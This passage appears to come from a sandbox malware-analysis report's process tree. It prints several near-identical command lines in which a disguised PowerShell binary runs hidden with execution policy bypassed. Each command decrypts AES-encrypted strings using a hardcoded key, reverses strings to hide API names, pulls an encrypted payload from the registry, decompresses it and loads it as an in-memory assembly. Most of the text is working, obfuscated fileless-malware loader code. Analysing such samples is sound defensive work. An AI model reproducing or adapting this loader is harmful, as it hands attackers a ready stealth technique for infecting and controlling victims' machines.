[IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:1132
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:7780
        
        C:\Windows\system32\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3048" "3132" "3040" "3136" "0" "0" "3140" "0" "0" "0" "0" "0"
        11⤵
        
        PID:8732
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        10⤵
        Hide Artifacts: Hidden Window
        
        PID:7904
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2936).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 